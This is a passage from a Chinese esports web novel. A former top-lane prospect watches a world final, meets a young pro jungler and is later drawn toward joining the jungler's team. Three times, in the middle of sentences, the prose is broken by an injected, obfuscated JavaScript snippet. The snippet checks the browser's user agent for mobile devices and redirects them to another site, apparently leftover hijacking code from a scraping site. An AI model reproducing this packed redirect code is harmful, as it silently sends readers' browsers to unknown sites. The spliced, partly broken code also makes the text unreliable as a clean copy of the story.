《我真没空陪你演了[电竞]》 1. 初遇 《上单太秀会被抓的[电竞]》 古木辞柯/文，晋`江文学城首发 暮色四合，霞光褪去，天边只余几颗零散的星星，但地面的灯火早早地亮了起来。 郗霁伫立在路灯下，橙黄的灯光打在他身上，添了几分清冷忧郁的电影质感，引得路过的人频频侧目。 他目光平静地望向一条马路之隔的对面，柏林规模庞大的电竞体育中心，最上方的大屏幕还播放着当下最热门的moba游戏《Tactics of Attack》，简称《TOA》总决赛的赛事预告。 两个小时前，郗霁还在感动佟岚竟然有关注到他的喜好，甚至投其所好地托人买了TOA总决赛门票说要陪他来看比赛，现在却只余手机听筒里传出的抱歉话语。 “对不起，小晗他们白天没午睡，这会儿正闹觉呢，本来我打算先送回家来交给他们爸爸照看的，但他们爸临时有事……” 后面的话郗霁没太听清，目光回落到手中的两张门票上，沉默了一会儿，善解人意地开口：“没关系，您先照顾好他们吧。” “那你先检票进去，我等会看看能不能赶过去。” “好。”郗霁应了一声，挂完电话之后，抬眼，视线漫无目的地扫过经过的人流。 傍晚的微风带上了丝丝凉意，郗霁将围巾绕紧了些，抬脚走向对面。 距离开赛只剩不到一小时，体育中心门口已经人满为患，有排长队检票进场的，有粉丝组织应援的，几乎将体育馆前的广场堆满，还有往路边蔓延的趋势。 郗霁正穿过人流，身后忽然爆发出一阵短促的尖叫，随后后背被猛地撞了一下，整个人因为惯性往前踉跄两步。 “对不起！”堪堪站稳，就听见身后传来清越的男声，郗霁揉着还有些麻木的后肩，回过头看向罪魁祸首。 对方穿着白色冲锋衣，戴着同色系的口罩跟帽子，额前的刘海垂下来，看不大清神色，只一双眼睛一闪而过。 “不好意思，你没受伤吧？” 那人不好意思地再次道歉，视线跟郗霁对视上的一瞬间却明显一愣。 “没事。”郗霁收回眼，将散开的围巾重新缠上。 这只不过是一个小插曲，郗霁并没有放在心上，索性他也没有受伤，整理好了衣服，便转身离开。 刚迈开两步，郗霁就听见对方有些迟疑地喊出了他的名字。 他脚步顿住，向后转头，再次往那人看去。 这一次，对方的眼神明显亮了，黑色的瞳孔漾开细碎的光，像平静的湖面被投进一颗小石子。 他拉下口罩，露出一个炫目的微笑，声音都带上了欣喜：“真的是你！” 面前人眉眼清隽，挺拔秀朗如一株白桦树，但郗霁却对这张足以秒杀多数流量小生的脸没有印象。 他问：“你是来看比赛的吗？” 郗霁“嗯”了一声，不动声色地打量着眼前人，“你是？” “郁听。” 郁听又将口罩往下拉了拉，露出几分腼腆的笑容：“不知道你还记不记得我。” 他视线在郗霁略带疑惑茫然的脸上梭巡了一圈，眼底亮晶晶的笑意缓缓消失，取而代之的是失落，声音也低了几度：“看样子你不记得我了。” “抱歉。”郗霁没什么表情地说着。 一般来说，他应该假装有印象，或者再礼貌地多询问一些细节，说不定就能想起来了。 但是眼下，他实在没有心情在过生日被放鸽子的当天，再去安慰一个忽然冒出来的陌生人，只能是出于礼节不紧不慢地回复着。 不过对方的失落并没有持续多久，片刻便将自己哄好了。 “不记得就不记得了吧，我记得就好了。” “你在等人？” 郁听垂眸看向郗霁手中的两张票，再结合郗霁此时俨然寂寥的模样，掂量掂量了自己的措辞，揶揄地试探：“难道，是在等女朋友？” “不是。” 郗霁顿了下，垂眼看了眼时间，主动提问：“你也是来看比赛的吗？” “嗯。”郁听乖巧地点头，“我跟队友一起来的，你看，他正往这边来了。” 队友？ 抬起头，郗霁视线顺着郁听手指的方向看过去，一人正巧走了过来，边说道：“郁听，在干嘛呢？他们几个都已经先检票进场了。” 虽然同样戴着帽子跟口罩，但郗霁听出了对方的声音，Palmy战队的队长兼辅助Raining，在职业赛场征战了好几年，享有保姆级辅助的美名。 此时，他走过来，视线在郁听跟郗霁之间来回转了转，又看向郁听，问：“你朋友？” “嗯，之前一个学校的校友，一个很善良热心的哥哥，刚好碰见了，也是来看比赛的。” 校友？郗霁不动声色地在脑海里搜索，但很快被打断，因为郁听又转过来跟他热情地介绍：“哥，这是我队长，电竞职业选手Raining。” “你好，我是Raining，叫我周瑞宁也可以。”周瑞宁伸出右手自我介绍。 “你好。”郗霁客气地伸手回应，不禁想到了Palmy战队的另外几位首发队员，他都还记得脸长什么样。 几番排除下……郗霁的视线回到正注视着他的郁听身上，那他就可能是Palmy战队的打野了，今年才加入Palmy战队的新成员。 “弦耳？”郗霁迟疑地开口。 闻言，郁听飞快地垂下视线，盯着白色运动鞋的鞋面羞涩地开口：“哥，你知道我啊……” “我有看过你的比赛。”郗霁丝毫不受影响，用公事公办的口吻，一脸平静地说。 弦耳，Palmy战队的首发打野，虽然成为职业选手才不过半年，但在赛场上的表现可圈可点，俨然已经成为新晋明星选手了。 只不过当时注意力都在比赛对局中，倒是没有注意选手长什么样，观看比赛的途中一闪而过瞄到人的时候倒也能知道是个帅哥。 如今面对面再看，郗霁不带任何滤镜地评价，的确是有成为明星选手的资本，身量高，脸又长得干净帅气，整个人洋溢着青春阳光的气息，是很招女孩子喜欢的那类型，所以声量比许多出道多年获奖众多的前辈还要大。 “你有看我的比赛？是哪些场次？” 郁听抬起头，眼睛微微睁大，像受惊的鹿一样眨了两下，然后紧张地询问：“我表现得如何？不会让哥看见我被揍的画面了吧？” “从夏季赛开始，到对打Noctis战队，基本都看了。而且，你打得很好。” 郁听是今年5月份被Palmy签约进战队，紧接着夏季赛正式上场，一直到世界赛对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368132|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打Noctis战队，止步于八强。 也就是说，郁听上场的每一场，郗霁都有观看。说他打得很好也不是客套，Palmy战队原本的实力在TPL只是属于中上游，除了今年，也就去年打入围赛进过世界赛，今年能直通正赛，并且拿到八强的好成绩，已经算是非常大的突破了。 而且Palmy战队被淘汰的那场比赛他也看了，Noctis战队本就属于欧洲赛区一号种子强队，前些年是拿过总冠军的，Palmy战队撞上他们，对方也只是险胜，足以说明他们如今的实力值得肯定了。 等明年战队成员之间磨合得更好了，成绩肯定会更佳。 “谢谢。” 能看得出郁听是真的高兴，好看的眼睛重新恢复得亮晶晶的，让人不敢直视，郗霁不动声色地移开眼，正好周瑞宁见缝插针地提醒：“时间快到了，既然都是来看比赛的，那先一起检票入场吧。” 郁听回过神来：“哥，你等的人还有多久到？” “应该是来不了了。” 郗霁看了眼检票窗口的剩余时间，还不待再说些什么，郁听已经熟稔地开口：“来不了就来不了了吧，你的座位是多少，我陪你看比赛。” 最后，郗霁婉拒了郁听的热情提议，但还是一起检票入场。 只是没想到，同为VIP座位，郗霁的作为跟Palmy战队几人的位置刚好挨得很近，中间只隔了一个熠辉战队。 郁听跟熠辉战队商量了一下，请他们全部往左边挪一下，空出了中间的位置。 最初，郗霁是想拒绝的，但是郁听的行动速度实在太快，他想要开口婉拒的时候，熠辉战队的选手屁股都已经离开座位了。 在对熠辉战队投以略带歉意的微笑之后，郗霁才无奈地坐下来。 在这一片，郗霁看见了好些眼熟的职业选手，不过这也难怪，能拿到观赛位置极佳的VIP席位基本都是有渠道的，而职业选手内部渠道更多，所以不足为奇。 因为跟Palmy的两位选手一起进来的缘故，周围的人此刻都朝他看了过来，投以好奇的目光，大概是在猜测他是谁。 其中目光最直勾勾的，就属熠辉战队其中一位选手，他坐在战队最边上，伸长了脖子，疑惑的视线定格在郗霁的身上，好半天才恍然大悟地想起来，跟队友交头接耳。 Palmy战队的其他几位先检票进来的队员则是直接询问了，周瑞宁小声解释：“郁听认识的朋友。” “对了，郁听，你这位朋友，是做什么的？”周瑞宁坐下之后，趁着比赛还没开始，随意聊着。 郗霁自然地接话：“学生，偶尔兼职做点主播。” “游戏主播？” “嗯。” 一提到游戏相关，周瑞宁职业病就犯了，一连三问：“那你是主玩什么位置的？技术怎么样？今年多大了？” “上单，一般，娱乐主播而已。” “技术一般没事，不走职业哪在意那么多。”一听是娱乐主播，周瑞宁歇了心思，摆摆手，“游戏嘛，开心就好。” “你说得对。”郗霁应道。 这时，手里的手机传来震震动，他正低头查看新消息，温热的气息混着浅淡的青草香猝不及防地落在他耳廓。 “哥，你主播号叫什么，我能去给你当粉丝吗？ ” 2. 弦耳 热源靠近的时候，郗霁正在回复消息。 他听清了郁听的话，此时因为心情转好，便也有心思开起了玩笑：“好啊，记得用大号，给我带带流量。” 但是这次，郗霁半晌没听见回复，好奇地抬起头来，发现郁听此时正襟危坐，目不转睛地盯着空旷的舞台。 还不待郗霁多探究，下一刻，眼前一黑，场馆的灯光熄灭，观众席一下静了下来，只有数万观众手中的应援棒跟应援牌在黑暗里闪烁，流光溢彩，像缀满星辰的银河。 音乐随后奏响，舞台中央重新出现光束，郗霁的注意力也被吸引到开幕式上。 漫长的开幕式结尾，金色的奖杯从舞台中央缓缓升起，郗霁不由盯着那奖杯多看了两眼，参加本次总决赛的两支战队已经踩着战歌依次登场了。 分别是来自TPL赛区的HGR战队跟TCK赛区的Joint战队。 虽然这两支战队今天都不在主场地战斗，但是现场人气依旧一个比一个赛高，主持人每介绍一名选手，观众席就会有对应的粉丝举着应援棒跟应援牌欢呼。 “啧啧啧，不知道我们什么时候能有这待遇。”虞淼川，也就是Palmy战队的ADC嫉妒地说，语气里的酸意就算是隔着两个座位的郗霁都感受到了。 “其实我们的人气也不差吧。”周瑞宁环顾四周之后，不赞同地反驳。 虞淼川：“队长你就别说这话了，谁不知道队里你跟郁听的人气最高。” “郁听的人气确实高。” 周瑞宁认同地点头，转头看了一眼，一愣，抬手在郁听胳膊上轻拍了下，“你怎么了，怎么心不在焉的？” 回过神来后，郁听摇了摇头，身体歪向另一边，低声询问：“哥，你玩上单的，所以你喜欢的选手是天阙吗？” 闻言，郗霁不受控制地皱了皱眉，语气莫名：“怎么可能？” 郁听欲言又止，郗霁已经反问：“场上得有喜欢的选手才有来看比赛的理由？” “不是。”郁听说着，偷偷抬眼瞟了一下，见郗霁没继续露出不耐烦的神色，才稍稍松了口气，解释：“我以为这不是寒暑假，学业应该很忙，你能来这么远看比赛肯定是有很喜欢的选手。” “我过来是有其他原因，看比赛只是顺便。” 郗霁的注意力回到场上，主持人已经依次介绍完两队的全部选手，比赛正式开始。 总决赛是BO5，五局三胜制。 第一局，BP阶段，即双方战队禁用和选用英雄的阶段，双方各可以按轮次禁用掉四个英雄，不让自己及对手在这局使用，然后分别选出本轮出战的五个不同位置的英雄。 Joint战队作为蓝色方先Ban先选，在连续禁掉了天阙两个成名上单英雄之后，又以选代Ban率先拿下了版本T0上单，时光伯爵。 而HGR战队则是选择先拿辅助狼巫跟打野凫羽保全发育体系。 “HGR战队第一轮没有先拿上单，那第二轮Ban人对面可又要禁两个上单了。”虞淼川看着场上的情况，翘着二郎腿说道。 周瑞宁：“天阙的英雄池深不可测，第一局的几个Ban位根本限制不了他。” “那倒是。”虞淼川点头，“第一局就让对面多Ban几个上单，还可以帮助队友拿到想要的英雄。” 交谈间，场上的BP结束，十位英雄已经全部选择完毕，相互调整过后进入到对决的场地，峡谷。 峡谷是一个对称的战场，双方在各自的战场都拥有结构相同的基地，野区和上中下三条分路，三条分路上各拥有三座防御塔，而胜利的条件是摧毁对方基地的水晶。 开局五分钟，小龙就爆发了一波团战，HGR战队的上单配合中单绕后切死了Joint战队的ADC加辅助，HGR战队的第一波团打出了0换2的好成绩，经济差逐渐拉开。 十五分钟时，HGR的打野在队友的掩护下拿下大龙。 拿下大龙后，会让HGR基地下一波兵线刷新出龙兵，然后HGR趁机逼团，利用龙兵的牵制，在野区强开Joint落单的打野，紧接着，高地被破，HGR强冲水晶，Joint无力清兵，HGR一比零领先。 “18分钟，第一把速推啊，也太快了！”虞淼川感叹，“天阙真是强啊，Joint战队的上单已经够厉害了，但还是从头到尾被压着打，支援也只能慢一步，难怪其他位置的Top争得头破血流，但顶级边路只认他一个。” 此时场上镜头切到选手特写，Palmy的上单老将看着镜头里意气风发的天阙心念一动，羡慕地开口：“他今年是不是才22啊。” “准确地说22岁半，不过也在当打之年，这状态是一点儿都没下滑。”虞淼川头枕在脑后，慢悠悠地继续说，“去年的时候北斗战队的immortal跟天阙还能在线上勉强打个五五开，但今年就不行了，HGR对上北斗的那几场我看了，天阙的线上压制力是越来越强了。” “Joint战队是强在中野跟运营，他们的上单打不过天阙也正常。”郗霁冷不丁地开口，他的声音不高，但每个字都咬得很清楚，“HGR对上北斗的那几场比赛，北斗战队显然更重视运营，immortal没有拿到强势上单。” 虽然是这样说，但是那几场比赛HGR战队的天阙也没有拿到强势上单。 几人对视一眼，周瑞宁点点头，表示赞同：“这倒是。” 郁听则福至心灵：“哥，你是immortal的粉丝？” 中场休息结束，场上的比赛继续。 两支战队你来我往，四场比赛结束，比分来到了二比二。 虞淼川揉了揉酸胀的腰，将二郎腿放下来，调整了坐姿，“没想到还是打到了最后一局，屁股都坐痛了，平时我们比赛的时候也没觉得时间有这么长。” 周瑞宁倒是面不改色，依旧坐得板板正正：“已经算是很快了，除了第三局用了近四十分钟，其他几局都在二十五分钟内结束战斗了。” “来压一手吧，这局哪边会赢？”郁听提议。 先回应的是队长周瑞宁：“不好说。” 经过四局对抗，大家可选择的英雄明显变少了，越到最后越是考验选手的英雄池。 虞淼川：“HGR吧，出门在外，肯定还是支持自家赛区出来的战队。” 郁听：“哥，你觉得呢？” 场上，第五局的BP也已经结束了，郗霁看着双方的阵容，半晌才给出回答：“HGR。” 因为前面的对局使用过的英雄选手不能再重复使用，这一次，双方的阵容大差不差，都被拆得七零八落的，甚至一些冷门英雄也搬上场来。 而郗霁说HGR也不是出于赛区情节，而是根据双方选手实力来预测。 就像他之前说的，Joint是重视运营的战队，一旦阵容不好，短板就显现出来了。 这不，除了中路，HGR上下两路开花，十分钟不到，上下两路的外塔就掉了。 外塔一掉，Joint战队的打野就非常难控龙了，野区也开始被HGR入侵蚕食，一开始只是守不住靠近边路的小野，后来连红蓝Buff也守不住了。 二十五分钟时，在大龙处又发生混战，趁着HGR在打大龙，Joint的中单躲在Buff坑后面的草丛，手中捏着技能随时准备释放，为自家打野的突进提供空间。 Joint战队三路的外塔跟二塔都已经掉了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368133|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中路的高地塔也磨掉了一小半，这条龙再丢，高地不用说，水晶可能都保不住。 等大龙血量降到合适的范围时，Joint的中单闪现接控制，击飞了HGR的打野，Joint的打野捏着惩戒，用位移接大招进场，准备强抢下这一条龙，却被早已守株待兔的天阙用红莲骑士一个大招推开，配合中单反打，Joint的中野都留在了龙坑。 拿到大龙之后，HGR开始分推拿塔，等到基地下一波刷新出龙兵，集中压塔，一波推平，一举拿下全球总决赛冠军！ 现场，HGR战队的粉丝看到Joint一方水晶破裂的时候，观众席的欢呼声先于主持人炸开，现场热闹一片。 血液里像有什么东西在翻涌，烫得郗霁喉咙发紧，他忙从座位上站起身来。 坐在隔壁的郁听第一时间抬头：“哥，怎么了？” “我走了。”郗霁看向场上抱做一团的HGR选手，又快速地移开眼，“比赛已经完了，颁奖典礼我就不看了。” “那我跟你一起。”说着，郁听也站起身来。 见状，周瑞宁也起身，冲着身边还望着台上满眼羡慕的几位队友说：“我们也走吧，趁着现在离场的人不多。” 现场只有少部分提前离席，一路上还有些清静。 郁听甩开身后的队友，上前鼓起勇气询问：“哥，你有时间吗？我请你吃饭。” “下次吧，我今晚有约了。” 刚刚在看比赛的时候，佟岚发消息过来说已经小晗他们马上就安置好了，但她已经赶不上来陪他看比赛了，便预定了餐厅，等比赛结束来陪他吃东西。 “那好吧。” “那我能加你的微信吗？” 郁听亮晶晶的眼睛直勾勾地盯着他，期盼的目光灼人。 已经拒绝过一次了，郗霁也不好意思再拒绝第二次。 婉拒的那些措辞在喉咙滚了滚，还是咽回了肚子里，鬼使神差地拿出了手机，“你扫我吧。” 坐上车后，郗霁想到刚刚小孩期待的目光，轻笑出声。 他点开好友申请，最上方的一条验证消息只有两个字：[郁听。] 犹豫两秒之后，郗霁还是点了同意，然后点开了郁听的个人资料。 跟他青春洋溢的外貌不同，个人资料简约到处处散发着生人勿近的气息。 头像只能看到一片黑，签名处则是一片空白，网名也只有一个个简单的字母D，如果不是点进朋友圈还有几条动态，真像是一个僵尸号。 想了想，郗霁还是动手编辑了备注。 弦耳。 放下手机后，郗霁平静地注视着车窗外渐远的体育中心。 这些年，他从不敢到现场看比赛，只敢看看直播切片，就是担心想做职业选手的想法再次产生动摇。 可是事与愿违，越压抑越控制不住。 现如今去到现场感受过比赛的激情跟热血过后，他想做职业选手的想法……倒是比三年前还强烈了。 万一呢？ Palmy战队倒也不失为一个好去处。 一声清脆的提示铃声将郗霁拉回来现实，他回过神来查看，是郁听发来的，一个七秒的视频。 点开，immortal的脸出现在屏幕正中央，冲着屏幕挥挥手，笑着开口：“郗霁，生日快乐。” 一个校友的身份不可能连他的生日都记得，所以刚刚在场内，他是看到他的聊天记录了。 难怪后面有一段时间他心不在焉，还一直打听打听他的喜好。 [谢谢。] 郗霁回复，这两个字他说得真心实意。 那边几乎秒回。 [弦耳：哥，生日快乐！] 3. 直播 海城机场的大厅灯火通明，郗霁拖着行李箱随着熙熙攘攘的人群刚走到出口，夜风便裹着寒气迎面而来，让人下意识皱了皱眉。 在柏林登机前，郗韫斌曾打电话询问过他的航班，因此，在走出机场后，郗霁的视线就在路边停泊的车辆上巡视。 果不其然，很快便在路边看到了郗韫斌私下里常开的那辆宾利。 今天开车的人也并不是司机，而且郗韫斌亲自坐在驾驶座上，郗霁将行李箱先放进后备箱，拉开副驾驶的门坐了进去。 能够让日理万机的郗韫斌亲自开车来机场接人，郗霁清楚，并不是为了他这个亲生儿子。 汽车平稳地行驶在路上，一路静默无言，随着灯光闪动，街景后退，郗霁逐渐神游太虚，连郗韫斌突然开口说了什么的时候都没听清。 “什么？” “你去柏林看见她了？”郗韫斌重复了一遍，声音听不出什么情绪，仿佛只是随便一问。 “看到了。”郗霁也是随便一答。 “她怎么样？” “挺好的。”想了想，郗霁意有所指地补充，“生了一对龙凤胎，一家人看起来很幸福。” 关于龙凤胎的事情，郗霁相信郗韫斌应该早就知道了。 作为公众人物，佟岚这些年虽然没有新作品了，但影响力还没消失，再婚生子的新闻还是屠了两天的热搜版面。 郗韫斌肯定也看到了。 果然，郗霁瞥见郗韫彬的指节在方向盘上悄悄收紧。 面上装得云淡风轻，却还是泄露了他的在意。 但那又有什么用呢？ “那她没留你多待几天？” 在商场运筹帷幄多年，郗韫斌怎会看不出这是郗霁在故意刺他。 很快他调整了过来，瞥他一眼，语气里带上了讥讽。 郗霁也当即敛了神色，“学校还没放假。” “是吗？”郗韫彬不以为意，“我还以为你是受冷落了。” “如今她有了新的家庭，新的孩子，怎么还会在意你这个跟前夫生的孩子。” “也不一定吧，你有多久没回家了？你在意你现在的家庭吗？”郗霁反唇相讥，“你是不是后悔了，后悔当初太过自负，又拉不下脸，才总是会想要从我这里获得一点她的消息。” 话音落下的瞬间，车厢内的空气骤然被冻结。 像之前每次翻旧账时候一样，父子俩针尖对麦芒地互相讽刺挖苦，攻击对方在乎的痛处。 汽车还是平稳地行驶着，仪表盘的光在郗韫斌脸上投下深浅不一的阴影，看不清神情。 郗霁也没有“乘胜追击”的兴致，别过头，望向车窗外飞速倒退的街景，只觉得无趣极了。 长达十多小时的飞行让他感觉有些疲惫，后颈处隐隐传来酸胀感，他抬手揉了揉，手机在这时候弹出新消息，他顺势放下解锁，是郁听发来的。 一句简单的问候。 [弦耳：哥，是不是下飞机了？] 往上划，全是他们的聊天记录，有好几页，最后的对话是郁听询问他什么时候回国，那个时候郗霁刚好在机场候机，便照实回复。 本以为郁听只是随口问问，没想到竟然放在了心上，还计算到了他下飞机的时间。 不管是不是凑巧，至少现在，这样纯粹的关心给郗霁带来了纯粹的温暖。 柏林。 Palmy战队一行人到达机场，刚过安检，正弯腰从传送带上拿行李，身后就飘来带着笑意的招呼声：“嘿，好巧，你们也是这一趟飞机。” 郁听回过头，发现是熠辉战队一行人。 “是好巧，看来路上不会无聊了。” 这里不是说话的地方，两队人一起往前走，找到候机厅的空位坐下。 刚坐稳，熠辉战队的中单朝雾的视线在Palmy战队几个人身上搜寻了一圈，奇怪地“咦”了一声，问：“你们是不是少了一个人。” 周瑞宁左右看了眼，解释说：“战队有事，我们罗教练前两天就回去了。” “不是啊，我是说你们战队新上单。” 周瑞宁诧异，他们战队新上单是谁？他这个队长怎么不知道！ 朝雾还在继续说：“你们战队的新上单，实力挺强的，什么时候训练赛约一下。” Palmy战队的几人面面相觑，最先反应过来的是郁听。 “你是说总决赛跟我们一起去看比赛的那个人吧？” “对啊，你还强迫我们让座，本来比赛结束后打算找你们回酒店切磋一下的，结果你们又提前跑了。”看着Palmy战队几人古怪的表情，朝雾有些不确定了，“怎么，他不是你们战队新签约的上单吗？” 郁听没有直接回答，反问道：“你之前认识他？” “倒不算认识。”朝雾回忆着，“就前些年我还在HGR战队的时候，他来HGR基地试训过。” 周瑞宁抓住关心的重点：“那你说他实力很强，那试训的结果应该很好吧，为什么最后没有进HGR？” “本来是各方面都满意的，都准备签合同了，但当时天阙也有意从北斗转会到HGR。” 周瑞宁了然：“所以HGR选择了天阙，舍弃了他！” 一个是已经在赛场稳定发挥的职业选手，一个是初出茅庐，不一定稳定发挥的新秀，一个有经验的电竞俱乐部做这样的选择也在情理之中。 “也不能算是舍弃吧，当时HGR经理也很纠结，就想两个都签约进战队，天阙打首发是毋庸置疑的，就想尝试让他先做替补，HGR的经理跟教练都轮流劝过，承诺会尽量找机会让他上场，但没说动。” “有上首发的实力，为什么要给人当人替补。”郁听眼底不满的情绪翻涌了片刻，为郗霁打抱不平，“所以拒绝也很合理吧？” “是的，所以他直接离开了HGR基地，连个联系方式都没留。”朝雾摊开手，耸了耸肩，语气也有些惋惜地继续说，“我本来以为他会去其他战队当首发，所以后来转会期我跟HGR战队的经理都特别留意了，却没有看到他的消息。” 虞淼川后知后觉地恍然大悟：“难怪看总决赛的时候，我们谈论天阙，HGR的时候，他表情有些怪。” 朝雾表情复杂地转头看了他一眼，再回过头来：“所以他没有跟你们说过吗？” “没有。”周瑞宁摇摇头，“除了郁听，我们都是在总决赛现场第一次见他。” “哈？” 清晨，郗霁起了大早，打开已经一周没登陆过的银河TV，随便起了个标题开启直播。 虽然是周末，但这个点并不是流量的黄金时段，又是突击直播，所以直播间人数并不是很多，开播五六分钟之后，才勉勉强强爬上了四位数。 【失踪人口回归！】 【早起的鸟儿有虫吃，我就知道主播今天会开播的。】 【主播看总决赛了吗？】 【走遍所有游戏直播间，庆祝HGR夺得S14总决赛冠军！！】 “看了。” 郗霁懒洋洋地回复，尾音拖得有点长，还带着没睡醒的倦怠跟慵懒。 弹幕又是一阵激动，好在郗霁已经趁着被土拨鼠尖叫刷屏前找到刚刚庆祝的那条叉了出去。 然后打开TOA游戏，开始排位。 “今天我们还是打猎魔使徒的战力。” 也就是他的话音刚落，猎魔使徒就被对面送上了Ban位。 游戏的BP阶段，红蓝双方是无法在局内交流的，所以这只能算是凑巧。 弹幕上也乐了起来。 【开局不顺哈哈……】 【上次也是，刚说完要玩将臣，就被对面反手给禁了！】 【再来几次，我都怀疑主播有毒奶体质了。】 【那今天就打将臣吧，将臣放出来了。】 【蔷薇妖姬也可以，上次装备调整过后，这个英雄增强了不少。】 很快轮到郗霁选英雄了，他在英雄池里面巡视了一圈，目光落到那抹红色时，心念一动。 二十五分钟后，伴随着一声Victory，郗霁拿下本局的胜利，退出房间后，却看见弹幕上的五花八门。 【最近怎么好多主播都开始玩红莲骑士了？这个英雄不是一向很冷门吗？】 【再冷门的英雄，也被天阙给盘活了。】 【但是这连招跟打法怎么有点模仿天阙的意思？】 一大早就看见晦气的内容。 郗霁靠在座位上，调整了下心情，不疾不徐地开口：“不是每一个玩得厉害的人都是在模仿天阙。” 弹幕也跟着附和。 【就是，这样真给天阙招黑！】 【主播也就这两年随便打打，当初用红莲骑士拿国服的时候，天阙还在北斗当替补呢！】 有人附和就有人反驳，尤其是今天周末，进来的许多人都没有郗霁直播间的粉丝灯牌。 【国服有什么稀奇，现在游戏主播都人手一个国服了，但真遇上职业选手了，还不是只有被打爆的份，就别用国服唬人了！】 【也就是职业选手训练任务重，没有时间打国服而已！】 【再说了，谁说天阙在北斗是在当替补，是轮换好不！】 【笑死，每个位置首发名额只有一个，难不成那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368134|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候是immortal在给天阙当替补？】 【天阙粉丝真是脸大如盆！现在混出点成绩了，就忘了当初是谁带出来的了。】 【我是新粉，当初怎么回事我不清楚，反正我只知道如今天阙是现役顶级边路战神！】 今天弹幕的含阙量还真是高。 “别吵架，再吵架踢了。”郗霁慢悠悠说着，手上也开始行动。 弹幕很快清静了许多。 【我日，主播拉偏架，只踢天阙的粉丝，兄弟们快撤！我这号马上也要毕业了！】 【我是路人，请问主播为什么这么不喜欢天阙，他们之间应该没有交集吧。】 【可能因为主播是immortal的粉丝吧，这俩选手的粉丝不和又不是一天两天了。】 【大号已毕业，主播别破防了！再怎么删，immortal不如天阙也是事实！】 【我又回来了，刚忘记说了，天阙蒸蒸日上，immortal却要退役了，过气选手有你这个过气主播当粉丝，刚好配！】 “聒噪得很。” 郗霁拿起鼠标手起刀落，又一连毕业了好些人。 关于immortal退不退役这个问题，已经算是TPL每年的老黄历了。 从immortal二十四岁开始，便每年都有人猜测他是不是要退役了，但他□□到了现在27岁还活跃在职业赛场，是TPL现役选手中年纪最大的了。 郗霁回想immortal今年在赛场上的表现，操作比起巅峰时期确实下滑了不少，不过在尽量用经验弥补，所以看起来还好。 但毕竟年龄摆在那里，状态不可能再重回巅峰，只能一天天下滑，北斗战队肯定也有所准备了。 所以最近频繁出现的关于退役的热搜吗？ 郗霁很快找郁听求证。 [Clear：北斗战队是不是有新上单了？] 回复很快弹了过来。 [弦耳：是。] 像是知道郗霁关心什么，紧接着又追了一句。 [弦耳：不过immortal应该还不会立即退役，下赛季大概率跟新上单轮换。] 另一边，Palmy电子竞技俱乐部TOA分部。 郁听刚发送消息的下一秒，虞淼川就凑了上来，贱兮兮地挑眉：“老弟，刚刚那个是特别关心的提示音吧？” “嗯，怎么了？” “你有情况啊！” 听懂了虞淼川的揶揄，郁听反应过来，推开他：“虞哥你想什么呢，是总决赛跟我们一起看比赛的那位哥，不是你想的桃花。” “哦，这样啊。” 虞淼川坐着电竞椅转了回去。 片刻后，又激动地转了回来：“这个现在比桃花还重要，朝雾说能跟天阙扳手腕的上单啊，他说什么了？” 他们的上单队友昨两天刚官宣退役，现在战队急需要补充新鲜血液，再加上朝雾所说的话，他们很想将郗霁邀请到战队来探探实力。 因此，郁听作为目前唯一跟郗霁有联系的人，肩负着帮战队招募能兵强将的期盼和使命。 如果不是郁听说他想先试探看看对方现如今的想法，林经理早就按捺不住想通过郁听给对方发送试训邀请了。 郁听低头看了眼最新消息，如实回答：“他问北斗战队的新上单是谁。” “那你快回复，正好再问问他的想法，别忘了教练他们交给你的任务。” 郁听忽地问道：“你说，他当初为什么不当职业选手呢？” “年轻气盛，受不了那个鸟气吧。”虞淼川摩挲着下巴，思考了一番说道。 有实力的人都有些傲气，他是很理解的。 不过也不能说HGR做得不对，只是做选择的时候确实伤害了另一个年轻人的自尊，还是在临签合同前改主意，一时不忿，想不通也正常。 “但是战队又不止HGR一个。” 虞淼川手转了个弯，挠了挠耳朵，“那要不，你问问他？” 另一边，郗霁将直播关了，指尖在手机屏幕上不由自主地滑动，开始思索他的问题是不是太唐突了，就在他准备编辑消息圆说不用告诉他时，对面终于回复了。 [弦耳：Aurora。] Aurora？ 郗霁目光一顿，这个ID好像没有在职业赛场上出现过。 那是在哪里挖掘的新人？还是自家青训营提拔起来的？ 没等郗霁继续猜想，郁听又发来一条消息。 [弦耳：明天我们跟北斗战队有一场训练赛，他们的新上单Aurora会上场，哥可以来观赛。] 4. 参赛 周日下午两点，晴，Palmy电子竞技俱乐部。 一辆帕拉梅拉稳稳地停靠在路边，冰晶蓝的车身被阳光折射出细碎光晕。 车门轻启，首先映入眼帘的是一只白色的限量款运动鞋，落地的瞬间，修长的人影从驾驶座探身而出。 